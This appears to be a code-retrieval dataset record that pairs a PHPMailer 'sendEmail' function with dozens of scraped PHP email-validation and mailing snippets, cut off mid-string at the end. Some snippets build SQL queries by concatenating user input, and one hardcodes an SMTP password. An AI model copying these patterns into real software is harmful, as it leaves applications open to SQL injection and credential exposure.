{\n if( (!$this -> zgloszePozniej) && ($this -> emailAtt2User == '') ) :\n return false;\n endif;\n return true;\n }", "private function checkEmail(){\n\n $request = $this->_connexion->prepare(\"SELECT COUNT(*) AS num FROM Users WHERE user_email=?\");\n $request->execute(array($this->_userEmail));\n $numberOfRows = $request->fetch();\n\n if($numberOfRows['num'] == 0)\n return false;\n else\n return true;\n\n }", "public function checkEmail($email){\r\n $requete = \"select * from users where (Email='\" . $email . \"') \";\r\n //error_log(\"check email requete = (\" . $requete . \")\\n\");\r\n if ($this->getRequete($requete)){\r\n //$this->display();\r\n if ($this->Email == $email){\r\n return true;\r\n }\r\n }\r\n return false;\r\n }", "function check_email()\n\t{\n\t\tif($this->user_model->check_email($_POST['email'])>0)\n\t\t\techo json_encode(false);\n\t\telse\n\t\t\techo json_encode(true);\n\t}", "function validarEmail($email){\r\n if (!filter_var($email, FILTER_VALIDATE_EMAIL)){\r\n return false;\r\n }\r\n return true;\r\n}", "public function verifyEmail()\n {\n return $this->getBoolean('verify_email');\n }", "function isEmail($verify_email) {\n\t\n\t\treturn(preg_match(\"/^[-_.[:alnum:]]+@((([[:alnum:]]|[[:alnum:]][[:alnum:]-]*[[:alnum:]])\\.)+(ad|ae|aero|af|ag|ai|al|am|an|ao|aq|ar|arpa|as|at|au|aw|az|ba|bb|bd|be|bf|bg|bh|bi|biz|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|com|coop|cr|cs|cu|cv|cx|cy|cz|de|dj|dk|dm|do|dz|ec|edu|ee|eg|eh|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gh|gi|gl|gm|gn|gov|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|in|info|int|io|iq|ir|is|it|jm|jo|jp|ke|kg|kh|ki|km|kn|kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|me|mg|mh|mil|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|museum|mv|mw|mx|my|mz|na|name|nc|ne|net|nf|ng|ni|nl|no|np|nr|nt|nu|nz|om|org|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|pro|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)$|(([0-9][0-9]?|[0-1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5])\\.){3}([0-9][0-9]?|[0-1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5]))$/i\",$verify_email));\n\t\n\t}", "function is_email($value)\r\n{\r\n\treturn preg_match('/^[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,4}$/i', $value);\r\n}", "public function validarEmail(){\n return (filter_var($email, FILTER_VALIDATE_EMAIL));\n }", "function check_email ($email) {\n\t\n if (preg_match ('/^[-!#$%&\\'*+\\\\.\\/0-9=?A-Z^_{|}~]+' . '@' . '([-0-9A-Z]+\\.)+' . '([0-9A-Z]){2,4}$/i', trim ($email))) {\n \n return true;\n \n } else {\n \n return false;\n \n }\n}", "function checkNUVEmail($email) {\n\t\t$regEX = \"/([a-zA-Z0-9_]+)([\\.{1}_])?([a-zA-Z0-9_]+)\\@nuv([\\.])ac([\\.])in/\";\n\t\tif (preg_match($regEX, $email)) {\n\t\t\treturn true;\n\t\t}\n\t\telse {\n\t\t\treturn false;\n\t\t\texit();\t\n\t\t}\n\t}", "public static function ValidaEmailValido($email) {\n // if (!preg_match('/^([a-zA-Z0-9.-])*([@])([a-z0-9]).([a-z]{2,3})/', $email)) {\n // return false;\n // } else {\n //Valida o dominio\n \n $dominio = explode('@', $email);\nerror_reporting(0);\nini_set('display_errors', FALSE);\n try {\n if (!checkdnsrr($dominio[1], 'A')) {\n return false;\n } else {\n return true;\n } // Retorno true para indicar que o e-mail é valido\n } catch (Exception $ex) {\n return false;\n }\n \n // }\n }", "function is_email($email, $deprecated = \\false)\n {\n }", "function verifyEmail($action = ''){\n\t\t//$url = ROOT_URI_UI.'validUser.php?k='.$this->secretKey($this->username).'&e='.$this->username;\n\n\t\t$url = $_SERVER['REQUEST_SCHEME'].'://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?k='.$this->secretKey($this->username).'&e='.$this->username;\n\t\t\n\t\tif('recover' == $action){\n\t\t\t$msg = DICO_WORD_PASSWORD_RESTORE;\n\t\t}else{\n\t\t\t$msg = DICO_WORD_CONFIRM_EMAIL;\n\t\t}\n\t\t\n\t\t$body_message = DICO_MAIL_VALID_HEAD.'<br>'\n\t\t\t\t\t\t.'<a href=\"'.$url.'\">'.$msg.'</a><br><br>'\n\t\t\t\t\t\t.$url.'<br>'\n\t\t\t\t\t\t.DICO_MAIL_VALID_FOOT;\n\n\t\t\n\t\treturn send_mail(ROOT_EMAIL, $this->username, '', ROOT_EMAIL_NAME.' '.DICO_WORD_AUTH,$body_message);\n\t}", "public function sendValidateMail($email)\n {\n $url = md5($email.\"halloditisvoordezewebsitezeilschooldewaai@@@#!\");\n\n //Roept de mail class aan, en zet de benodigde parameters.\n $mail = new \\Helpers\\PhpMailer\\Mail();\n $mail->addAddress($email);\n $mail->subject('Zeilschool de waai validatie');\n $mail->body(\"Hallo, door op deze <a href='http://ruudlouwerse.nl/zeilschooldewaai/registreren/\".$url.\"'>Link</a> te klikken activeert u uw account \");\n //Stuurt de email naar de nieuwe klant (Weggeslashed doordat dit op localhost niet werkt).\n //$mail->Send();\n //Stuurt de url terug om in de database gezet te worden.\n return $url;\n }", "public function check_email($str){\n\n\t\t$data = array(\n\t\t\t'id_usuario'=>$this->input->post('id_usuario'),\n\t\t\t'email' =>$str\n\t\t);\n\n\t\tif($this->Usuarios_model->check_email($data)){\n\t\t\t$this->form_validation->set_message('check_email', 'El email ya se encuentra registrado para otro usuario');\n\t\t\treturn false;\n\t\t}else{\n\t\t\treturn true;\n\t\t}\n\n\t}", "function validate_email($email, $check_domain = \\true)\n {\n }", "function valid_email($name){\r\n if(strpos($name, '@') !== false)\r\n return true;\r\n else\r\n return false;\r\n }", "public function email_check($str){\n\t\tif ($this->user_model->count(array('email' => $str)) > 0){\n $this->form_validation->set_message('email_check', 'Email sudah digunakan, mohon ganti dengan yang lain');\n return FALSE;\n }\n else{\n return TRUE;\n }\n\t}", "function validaremail($email){ \n if (!ereg(\"^([a-zA-Z0-9._]+)@([a-zA-Z0-9.-]+).([a-zA-Z]{2,4})$\",$email)){ \n return FALSE; \n } else { \n return TRUE; \n } \n}", "function email($email)\n {\n if (!is_valid_email($email))\n return false;\n\n if ($email != $this->email)\n $this->update['email'] = $email;\n\n $this->email = $email;\n\n return true;\n }", "public function validateEmailConfirmedUnique()\n\t{ \n\t\tif ( $this->email )\n\t\t{\n\t\t\t$exists = User::findOne([\n\t\t\t\t'email' => $this->email,\n\t\t\t]);\n\n\t\t\tif ( $exists )\n\t\t\t{\n\t\t\t\t$this->addError('email', 'This E-mail has already been taken.');\n\t\t\t}\n\t\t}\n\t}", "public function email_check($str){\n\t\tif($this->user_model->exist_row_check('email', $str) > 0){\n $this->form_validation->set_error_delimiters('', '');\n\t\t\t$this->form_validation->set_message('email_check', 'Email telah digunakan');\n\t\t\treturn FALSE;\n\t\t}\n\t\telse{\n\t\t\treturn TRUE;\n\t\t}\n\t}", "public function validaEmail()\n {\n $regex = '/^[_a-z0-9-]+(\\.[_a-z0-9-]+)*@[a-z0-9-]+(\\.[a-z0-9-]+)*(\\.[a-z]{2,3})$/';\n\n if (!strlen(trim($this->email)) || !preg_match($regex, $this->email)) {\n return 'E-mail inválido! <br>';\n }\n\n return '';\n }", "function _os2dagsorden_create_agenda_meeting_create_user_form_email_validate($element, $form, &$form_state) {\r\n $value = $element['#value'];\r\n if (!valid_email_address($value)) {\r\n form_error($element, t('Indtast en gyldig email adresse.'));\r\n }\r\n if (db_query(\"SELECT COUNT(*) FROM {users} WHERE mail = :mail;\", array(':mail' => $value))->fetchField()) {\r\n form_error($element, t('Der findes allerede en bruger med denne email.'));\r\n }\r\n}", "function is_valid_email($address) {\n $fields = preg_split(\"/@/\", $address, 2);\n if ((!preg_match(\"/^[0-9a-z]([-_.]?[0-9a-z])*$/i\", $fields[0])) || (!isset($fields[1]) || $fields[1] == '' || !is_valid_hostname_fqdn($fields[1], 0))) {\n return false;\n }\n return true;\n}", "function ValidEmail( $address, $leMail )\r\n\t\t{\r\n\t\tif( ereg( \".*<(.+)>\", $address, $regs ) )\r\n\t\t\t$address = $regs[1];\r\n\r\n\t\tif( !ereg( \"^[^@ ]+@([a-zA-Z0-9\\-]+\\.)+([a-zA-Z0-9\\-]{2}|net|com|gov|mil|org|edu|int)\\$\",$address) )\r\n\t\t\treturn false;\r\n\t\treturn true;\r\n\t\t}", "private function emailValidation($field) {\t\r\n\t \t\t$sent = $this->getSentData($field);\r\n\t \t\t\r\n\t \t\t$email_pattern = '/^[^@\\s<&>]+@([-a-z0-9]+\\.)+[a-z]{2,}$/i';\r\n\t\t\tif (preg_match($email_pattern, $sent)) \r\n \t\t\treturn true;\r\n\t\t\telse\r\n\t\t\t\treturn false;\r\n\t \t}", "function checkemail() {\n\t\tConfigure::write('debug', 0);\n\t\t$this->autoRender = false;\n\t\t$this->layout = \"\";\n\t\t\n\t\t$email = $_REQUEST['data']['Member']['email'];\n\t\t\n\t\t$count = $this->Member->find('count', array(\n\t\t\t'conditions' => array(\n\t\t\t\t'email' => $email\n\t\t\t)\n\t\t));\n\t\t\n\t\t\n\t\tif ($count > 0) {\n\t\t\techo \"false\";\n\t\t} else {\n\t\t\techo \"true\";\n\t\t}\n\t}", "function valid_email($email)\n {\n if ($this->Mymodel->valid_email($email) == TRUE)\n {\n $this->form_validation->set_message('email', \"email sudah terdaftar\");\n return FALSE;\n }\n else\n { \n return TRUE;\n }\n }", "public function isConfirmEmail(){\n \tif(empty($this->data['User']['confirm_email'])){\n \t\treturn false;\n \t}\n \tif(!empty($this->data['User']['confirm_email']) && !empty($this->data['User']['email'])){\n \t\tif(trim($this->data['User']['confirm_email']) == trim($this->data['User']['email'])){\n \t\t\treturn true;\n \t\t}else{\n \t\t\treturn false;\n \t\t}\n \t}\n }", "public function validEmailValidDataProvider() {}", "public function verifyContainsEmail(): bool\n {\n $words = explode(' ', $this->input);\n foreach ($words as $word) {\n if (static::isValidEmail($word)) {\n return true;\n }\n }\n \n return false;\n }", "function emailIsValid($email,&$reason) {\r\n $isValid= true;\r\n $reasons= array();\r\n $atIndex= strrpos($email, \"@\");\r\n if (is_bool($atIndex) && !$atIndex) {\r\n $isValid= false;\r\n $reasons[]= \"chybí @\";\r\n }\r\n else {\r\n $domain= substr($email, $atIndex+1);\r\n $local= substr($email, 0, $atIndex);\r\n $localLen= strlen($local);\r\n $domainLen= strlen($domain);\r\n if ($localLen < 1 || $localLen > 64) {\r\n $isValid= false;\r\n $reasons[]= \"dlouhé jméno\";\r\n }\r\n else if ($domainLen < 1 || $domainLen > 255) {\r\n $isValid= false;\r\n $reasons[]= \"dlouhá doména\";\r\n }\r\n else if ($local[0] == '.' || $local[$localLen-1] == '.') {\r\n $reasons[]= \"tečka na kraji\";\r\n $isValid= false;\r\n }\r\n else if (preg_match('/\\\\.\\\\./', $local)) {\r\n $reasons[]= \"dvě tečky ve jménu\";\r\n $isValid= false;\r\n }\r\n else if (!preg_match('/^[A-Za-z0-9\\\\-\\\\.]+$/', $domain)) {\r\n $reasons[]= \"chybný znak v doméně\";\r\n $isValid= false;\r\n }\r\n else if (preg_match('/\\\\.\\\\./', $domain)) {\r\n $reasons[]= \"dvě tečky v doméně\";\r\n $isValid= false;\r\n }\r\n else if (!preg_match('/^(\\\\\\\\.|[A-Za-z0-9!#%&`_=\\\\/$\\'*+?^{}|~.-])+$/', str_replace(\"\\\\\\\\\",\"\",$local))) {\r\n $reasons[]= \"chybný znak ve jménu\";\r\n if (!preg_match('/^\"(\\\\\\\\\"|[^\"])+\"$/',\r\n str_replace(\"\\\\\\\\\",\"\",$local))) {\r\n $isValid= false;\r\n }\r\n }\r\n if ( $domain!='proglas.cz' && $domain!='setkani.org' ) {\r\n if ($isValid && !(checkdnsrr($domain,\"MX\") || checkdnsrr($domain,\"A\"))) {\r\n $reasons[]= \"$domain je neznámá doména\";\r\n $isValid= false;\r\n }\r\n }\r\n }\r\n $reason= count($reasons) ? implode(', ',$reasons) : '';\r\n return $isValid;\r\n}", "private function sendConfirmationEmail($email){\n $pdo = $this->pdo;\n $stmt = $pdo->prepare('SELECT confirm_code FROM users WHERE email = ? limit 1');\n $stmt->execute([$email]);\n $code = $stmt->fetch();\n\n $subject = 'Confirm your registration';\n $message = 'Please confirm you registration by pasting this code in the confirmation box: '.$code['confirm_code'];\n $headers = 'X-Mailer: PHP/' . phpversion();\n\n if(mail($email, $subject, $message, $headers)){\n return true;\n }else{\n return false;\n }\n }", "function checkEmail(){\n\t\t$json\t= ceHelper::checkEmail(JRequest::getVar('email'));\n\t\t$this->jsonReturn($json);\n\t}", "function comprobar_email($email) {\n return (filter_var($email, FILTER_VALIDATE_EMAIL)) ? 1 : 0;\n}", "function UnigueEmail($check)\r\n {\r\n //μέσω αυτής της συνάρτησης ελέγχεται εάν χρησιμοποιείται ήδη το email\r\n //που έδωσε ο χρήστης και τον ενημερώνει αντίστοιχα μέσω του error που \r\n //υπάρχει για το συγκεκριμένο πεδίο στο αντίστοιχο view(register.ctp)\r\n\r\n //έλεγχος για το αν ήδη υπάρχει το email που επιλέγει ο χρήστης γίνεται\r\n //σε 2 περιπτώσεις:\r\n //α)Κατά την εγγραφή του χρήστη\r\n //β)Κατά την επεξεργασία προφίλ του χρήστη σε περίπτωση που επεξεργαστεί\r\n // το email του.\r\n $email = array_shift($check);\r\n\r\n if(!$this->getLoggedIn() || (strcmp($this->editEmail, 'yes')==0))\r\n {\r\n $conditions = array(\r\n// 'User.email'=>$this->data['User']['email']\r\n 'User.email'=>$email\r\n );\r\n if(!$this->id)\r\n {\r\n if($this->find('count', array('conditions'=>$conditions))>0) \r\n {\r\n// $this->invalidate('email_unique');\r\n return false; \r\n }\r\n }\r\n return true;\r\n }\r\n else\r\n return true;\r\n }", "public function emailJaCadastrado(){\n\t\t$query=$this->con->prepare(\"select email from empresa where email=:email\");\n\t\t//executa o sql e informa o email a ser pesquisado\n\t\t$query->execute(array('email' => $this->email));\n\t\t//retorna resultado com um array assoc\n\t\t$resultado = $query->fetch(PDO::FETCH_ASSOC);\n\t\t//se retorna falso o email não foi cadastrado ainda\n\t\tif($resultado){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "function check_email($Email)\n\t{\n\n\tif ($this->Logeo_model->check_email($Email)) {\n\t\t\t$this->form_validation->set_message('check_email', \"$Email ya esta registrado \");\n\t\t\treturn FALSE;\n }\n else\n {\n return TRUE;\n }\n\t}", "public function destinatary_email_verification_is_good()\n {\n //Se usa para fngir envío de correo\n Mail::fake();\n $this->withoutMiddleware();\n\n //1. Given -> Teniendo un usuario\n $user = factory(User::class)->create();\n $petition = factory(Petition::class)->create([\n 'ID_user' => $user->ID,\n ]);\n\n //2. When -> Se envía un correo a dicho usuario\n Mail::to($user)->send(new UserCreatedEmail($user,$petition));\n\n //3. Then -> Entonces el coreo destinatario es el mismo que el ingresado por el usuario\n Mail::assertSent(UserCreatedEmail::class, function ($mail) use ($user,$petition) {\n return $mail->to[0]['address'] === $user['email'];\n });\n }", "private function email ($param)\n {\n if(!filter_var($this->value, FILTER_VALIDATE_EMAIL))\n {\n $this->SetError('email', 'The '.$this->SpacedKey.' field must be a valid email address');\n return false;\n }\n return true;\n }", "public function email_check($str) {\n //if(!empty($str) && $this->get_by(\"email\", $str))\n // return FALSE;\n return TRUE;\n }", "public function verifyAction()\n {\n $email = Request::post('email', Filter::FILTER_EMAIL, false);\n\n if (!$email || !Validator_Email::validate($email)) {\n Response::jsonError($this->moduleLang->get('email_invalid'));\n }\n\n $model = Model::factory('User');\n\n $userIds = $model->getList(\n ['limit' => 1],\n [\n 'email' => $email,\n 'enabled'=> true\n ],\n ['id']\n );\n\n if (count($userIds) == 0) {\n Response::jsonError($this->moduleLang->get('email_user_unknown'));\n }\n\n $userId = $userIds[0]['id'];\n\n $user = Db_Object::factory('User', $userId);\n $authCode = Utils::hash(uniqid(time(),true));\n\n $confDate = new DateTime('now');\n $confDate = $confDate->add(new DateInterval('P1D'))->format('Y-m-d H:i:s');\n\n try{\n $user->setValues(array(\n 'confirmation_code' => $authCode,\n 'confirmation_expiried' => $confDate\n ));\n if(!$user->save())\n throw new Exception('Cannot update user info');\n }catch (Exception $e){\n Response::jsonError($this->_lang->get('CANT_EXEC'));\n }\n\n $this->sendEmail($user);\n\n Response::jsonSuccess(array(\n 'msg' => $this->moduleLang->get('pwd_success')\n ));\n }", "protected function validateEmail($args) {\n\n if ($args['ent_email'] == '')\n return $this->_getStatusMessage(1, 1);\n\n $vmail = new verifyEmail();\n\n if ($vmail->check($args['ent_email'])) {\n return $this->_getStatusMessage(34, $args['ent_email']);\n } else if ($vmail->isValid($args['ent_email'])) {\n return $this->_getStatusMessage(24, $args['ent_email']); //_getStatusMessage($errNo, $test_num);\n//echo 'email valid, but not exist!';\n } else {\n return $this->_getStatusMessage(25, $args['ent_email']); //_getStatusMessage($errNo, $test_num);\n//echo 'email not valid and not exist!';\n }\n }", "public function _unique_email() {\r\n // UNLESS it's the email for the current user\r\n\r\n $id = $this->uri->segment(4);\r\n $this->db->where('email', $this->input->post('email'));\r\n !$id || $this->db->where('id !=', $id);\r\n $account = $this->account_model->get();\r\n\r\n if (count($account)) {\r\n $this->form_validation->set_message('_unique_email', '%s này đã tồn tại');\r\n return FALSE;\r\n }\r\n return TRUE;\r\n }", "function invalidEmail($emailadres) {\n\tif (!filter_var($emailadres, FILTER_VALIDATE_EMAIL)) {\n\t\t$result = true;\n\t} else {\n\t\t$result = false;\n\t}\n\treturn $result;\n}", "public function testEmail() {\n $this->assertEquals('[email protected]', Sanitize::email('em<a>[email protected]'));\n $this->assertEquals('[email protected]', Sanitize::email('email+t(a)[email protected]'));\n $this->assertEquals('[email protected]', Sanitize::email('em\"ail+t(a)[email protected]'));\n }", "public function emailEntryIsValid() {\r\n \r\n $email = $this->getEmail();\r\n \r\n if ( empty($email) ) {\r\n $this->errors[\"email\"] = \"Email is missing.\";\r\n } else if ( !Validator::emailIsValid($this->getEmail()) ) {\r\n $this->errors[\"email\"] = \"Email is not valid.\"; \r\n }\r\n \r\n return ( empty($this->errors[\"email\"]) ? true : false ) ;\r\n }", "function email_unique_check($email)\r\n\t{\r\n\t\t$isUnique = true;\r\n\r\n\t\t//Skapar anslutning till databasen.\r\n\t\t$db=new Database();\r\n\r\n\t\t//Hämtar de rader som har samma email.\r\n\t\t$result = $db->getUser($email);\r\n\r\n\t\t//Om det blev resultat.\r\n\t\tif($result)\r\n\t\t{\r\n\t\t\t//Finns det en rad betyder detta att ett konto med samma email redan existerar i databasen, och inget nytt konto ska skapas.\r\n\t\t\tif($row = mysqli_fetch_row($result))\r\n\t\t\t{\r\n\t\t\t\t//Email är ej unikt.\r\n\t\t\t\t$isUnique = false;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t//Avslutar anslutning till databasen.\r\n\t\t$db->close();\r\n\r\n\t\treturn $isUnique;\r\n\t}", "function isEmailCorrect($email){\r\n\tif (filter_var($email, FILTER_VALIDATE_EMAIL) && strlen($email)<=255) {\r\n\t\t//check if it's only string\r\n\t\tif (htmlentities($email)==$email) {\r\n\t\t\treturn 1;\r\n\t\t}\r\n\t}\r\n\r\n\treturn 0;\r\n}", "public function check_email($email){\n $query = $this->db->select('01_email')\n ->where('01_email', $email)\n ->get('register_01');\n if($query->num_rows()>0){\n return 0;\n }else{\n $query = $this->db->where('is_sms', 1)\n ->where('number', $email)\n ->get('verify_otp_12');\n if($query->num_rows()>0){\n return 'sent';\n }else{\n $query = $this->db->where('number', $email)\n ->delete('verify_otp_12');\n $otp = rand(10000, 1000000);\n $data = array(\n 'number' => $email,\n 'otp' => $otp,\n );\n $query = $this->db->insert('verify_otp_12', $data);\n return true;\n }\n }\n }", "static function correo_valido($correo) {\n $correo = trim($correo);\n if (preg_match(\"/^[a-zA-Z0-9_\\.\\-]+\\@([a-zA-Z0-9\\-]+\\.)+[a-zA-Z0-9]{2,4}$/\", $correo)) {\n return true;\n }\n return false;\n }", "function isemail($email) {\r\n return preg_match('|^[_a-z0-9-]+(\\.[_a-z0-9-]+)*@[a-z0-9-]+(\\.[a-z0-9-]{2,})+$|i', $email);\r\n\r\n // /* Define the test for a valid email address */ \r\n // $email_test = \"/ \r\n // ^([a-zA-Z0-9_\\.\\-\\+]) \r\n // + \r\n // \\@ \r\n // (([a-zA-Z0-9\\-])+\\.) \r\n // + \r\n // ([a-zA-Z0-9]{2,4})+$ \r\n // /x\"; \r\n}", "static public function checkEmail($email){\n\t\treturn !t3lib_div::validEmail($email);\n\t}", "function checkEmail()\n {\n\t\t\t$email = $_POST['email'];\n\n\t\t\t// Check its existence (for example, execute a query from the database) ...\n\t\t\t$email_cek = $this->account_model->Check_TblUsers('email',$email);\n\t\t\t\n\t\t\tif($email_cek == 0)\n\t\t\t{\n\t\t\t\t$isAvailable = true;\n\t\t\t}else{\n\t\t\t\t$isAvailable = False;\n\t\t\t} \n\n\t\t\t// Finally, return a JSON\n\t\t\techo json_encode(array(\n\t\t\t\t'valid' => $isAvailable,\n\t\t\t));\n\t\t}", "function verificar_email_usuario($e){\n\t\t\t\t\tinclude('../../conexion.php');/* mediante la consulta busca si concuerda algun usuario */\n\t\t\t\t\t$sql = \"SELECT email from usuarios WHERE status=1 AND BINARY email ='\".$e.\"'\";\n\t\t\t\t\t$rec = mysqli_query($con,$sql)or die(\"valio sombrilla'\".$sql.\"'\"); \n\t\t\t\t\t$count = 0;/* si la consulta es un exito aumenta un contador y como resultado retorna un valor */\n\t\t\t\t\twhile($row = mysqli_fetch_array($rec)){ $count++;}\t\n\t\t\t\t\tif($count == 1){return 1;}\n\t\t\t\t\telse{return 0; }\n\t\t\t}", "function verify_email($email)\n {\n $this->db->where('email', $email);\n $this->db->where('if_validated', 1);\n $query = $this->db->get('users');\n if($query->num_rows() > 0)\n {\n return true;\n }\n else\n {\n return false;\n }\n }", "function validate_email ($address) {\n return preg_match('/^[a-z0-9!#$%&\\'*+\\/=?^_`{|}~-]+(?:\\.[a-z0-9!#$%&\\'*+\\/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$/i', $address);\n }" ]
[ "0.7680836", "0.7366296", "0.7073115", "0.7069872", "0.70673597", "0.7022338", "0.69694984", "0.6946072", "0.69309855", "0.6909898", "0.69006187", "0.68623626", "0.68402946", "0.68277824", "0.6825911", "0.6793025", "0.67902714", "0.6783987", "0.6756329", "0.67547417", "0.67540723", "0.6753279", "0.67447484", "0.6740709", "0.6729526", "0.6713865", "0.668798", "0.6675697", "0.6665041", "0.66621804", "0.66611254", "0.66591", "0.66551137", "0.66534024", "0.6653059", "0.66492724", "0.6644796", "0.66422343", "0.6633029", "0.6607348", "0.6595002", "0.65900475", "0.65899354", "0.6589337", "0.6585421", "0.65819675", "0.65728664", "0.65723324", "0.6568392", "0.65663093", "0.6566083", "0.65606374", "0.65593576", "0.65573406", "0.6546987", "0.654135", "0.6527002", "0.6520912", "0.651774", "0.6517178", "0.6516868", "0.6516736", "0.6508485", "0.64987963", "0.64978874", "0.6497723", "0.649755", "0.6487195", "0.64867157", "0.64860845", "0.64846617", "0.64844954", "0.6484459", "0.6481723", "0.6481065", "0.64795715", "0.64750546", "0.64670295", "0.64668703", "0.64643174", "0.6463363", "0.6459606", "0.64556354", "0.6451795", "0.64392006", "0.6427538", "0.64258796", "0.6424105", "0.64217305", "0.641808", "0.6418038", "0.641675", "0.6414611", "0.64143324", "0.64123297", "0.6409396", "0.6403613", "0.63945204", "0.6392678", "0.638831" ]
0.70046157
6
Foction facilitant l'envoie d'un mail a l aide de phpmailer
function sendEmail($destinataire, $expediteur, $sujet, $message, $messageHTML = '', $file = ''){ global $config; if( !ini_get('safe_mode') ){ set_time_limit(600); } // Si possible on augmente le tps d excution // Inclusion Class require_once ROOT_PATH . 'kernel' . DS . 'lib' . DS . 'class.phpmailer.php'; // Creation instance $mail = new PHPMailer(); $mail->CharSet = 'UTF-8'; // Traitement method d envoie if( $config['mail_method'] == 'smtp' && $config['smtp_server'] != '' ){ // Parametrage pour utilisation SMTP $mail->IsSMTP(); $mail->Host = $config['smtp_server']; $mail->Port = $config['smtp_port']; // Si champ identifiant et mdp smtp utilisation authentification if( $config['smtp_login'] != '' && $config['smtp_password'] != '' ){ $mail->SMTPAuth = true; $mail->Username = $config['smtp_login']; $mail->Password = $config['smtp_password']; } } // Adresse reponse $mail->AddReplyTo($expediteur); $mail->SetFrom($expediteur); // destinataire if( is_array($destinataire) ){ foreach($destinataire as $k => $email){ $mail->AddAddress($expediteur); $mail->AddBCC($email); } }else{ $mail->AddAddress($destinataire); } //Message $mail->Subject = $sujet; $mail->AltBody = $message; // Fichier joint if($file != ''){ $mail->AddAttachment($file); } if($messageHTML != '') $mail->MsgHTML($messageHTML); else $mail->MsgHTML(nl2br($message)); // Envoie if(!$mail->Send()) return false; else return true; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function smtp_enviar_email(){\n\n //inicializo a classe do PHPMailer\n $mail \t= \tnew PHPMailer();\n\n //defino os parametros que vou utilizar\n $body\t\t\t\t= $this->mensagem;\n $emailsender\t\t= $this->smtp_email;\n $nomesender\t\t\t= $this->enviadopor;\n $destino\t\t\t= $this->destino;\n $assunto\t\t\t= $this->assunto;\n\n $mail->IsSMTP(); \t\t\t\t\t\t\t\t\t\t// telling the class to use SMTP\n $mail->Host \t= $this->smtp;\t\t\t\t\t\t// SMTP server\n $mail->SMTPDebug \t= 1; \t\t\t// enables SMTP debug information (for testing)\n $mail->SMTPAuth \t= true; \t\t\t// enable SMTP authentication\n $mail->Port \t= $this->smtp_port; // set the SMTP port\n $mail->Username \t= $this->smtp_email; \t\t\t\t// SMTP account username\n $mail->Password \t= $this->smtp_senha; \t\t // SMTP account password\n $mail->CharSet \t\t= 'UTF-8';\n\n //crio o corpo HTML p/ o envio da mensagem\n $corpo = $this->create_html_email();\n\n $mail->From \t = $this->smtp_email;\n $mail->FromName = $nomesender;\n\n $mail->Subject = $this->assunto;\n $mail->AltBody = \"Caso não visualize essa mensagem entre em contato conosco.\";\n\n\n $mail->MsgHTML($corpo);\n $mail->AddReplyTo($this->replay_mail, $this->replay_name);\n\n\n $mail->AddAddress($destino[0]['email'], $destino[0]['nome']);\n //crio um contador p/ enviar os e-mails em cópia\n if(count($destino) > 1){\n unset($destino[0]);\n foreach($destino as $valor){\n $mail->AddBCC($valor['email'], $valor['nome']);\n }\n }\n\n if($mail->Send()){\n echo $this->alert_toast(1);\n }else{\n echo $this->alert_toast(0);\n }\n\n return;\n }", "function enviarEmail($assunto, $descrição, $emailDe, $nomeDe, $emailPara, $nomePara)\n {\n $mail = new PHPMailer();\n // Define os dados do servidor e tipo de conexão\n // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n $mail->IsSMTP(); // Define que a mensagem será SMTP\n $mail->Host = \"mail.codeboys.pt\"; // Endereço do servidor SMTP\n $mail->SMTPAuth = true; // Autenticação\n $mail->Username = '[email protected]'; // Usuário do servidor SMTP\n $mail->Password = 'codeboys2016'; // Senha da caixa postal utilizada\n // Define o remetente\n // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n $mail->From = $emailDe; // Seu e-mail\n $mail->FromName = $nomeDe; // Seu nome\n // Define os destinatário(s)\n // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n //$mail->AddAddress('[email protected]', 'Luis Filipe');\n $mail->AddAddress($emailPara, $nomePara);\n /* $sql1 = \"select email from utilizador where id='$idMaterial' and hospital='$hospital' and utilizado=0\";\n $resultado1=$this->bd->executarSQL($sql1);\n while ($row = $resultado1->fetch(PDO::FETCH_ASSOC)) {\n\n }*/\n// $mail->AddAddress('[email protected]');\n //$mail->AddCC('[email protected]', 'Ciclano'); // Copia\n //$mail->AddBCC('[email protected]', 'Fulano da Silva'); // Cópia Oculta\n // Define os dados técnicos da Mensagem\n // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n $mail->IsHTML(true); // Define que o e-mail será enviado como HTML\n //$mail->CharSet = 'iso-8859-1'; // Charset da mensagem (opcional)\n // Define a mensagem (Texto e Assunto)\n // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n $mail->Subject = utf8_decode($assunto); // Assunto da mensagem\n $mail->Body = utf8_decode($descrição);\n $mail->AltBody = utf8_decode($assunto);\n // Define os anexos (opcional)\n // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n //$mail->AddAttachment(\"c:/temp/documento.pdf\", \"novo_nome.pdf\"); // Insere um anexo\n // Envi a o e-mail\n $enviado = $mail->Send();\n // Limpa os destinatários e os anexos\n $mail->ClearAllRecipients();\n $mail->ClearAttachments();\n // Exibe uma mensagem de resultado\n if ($enviado) {\n// echo 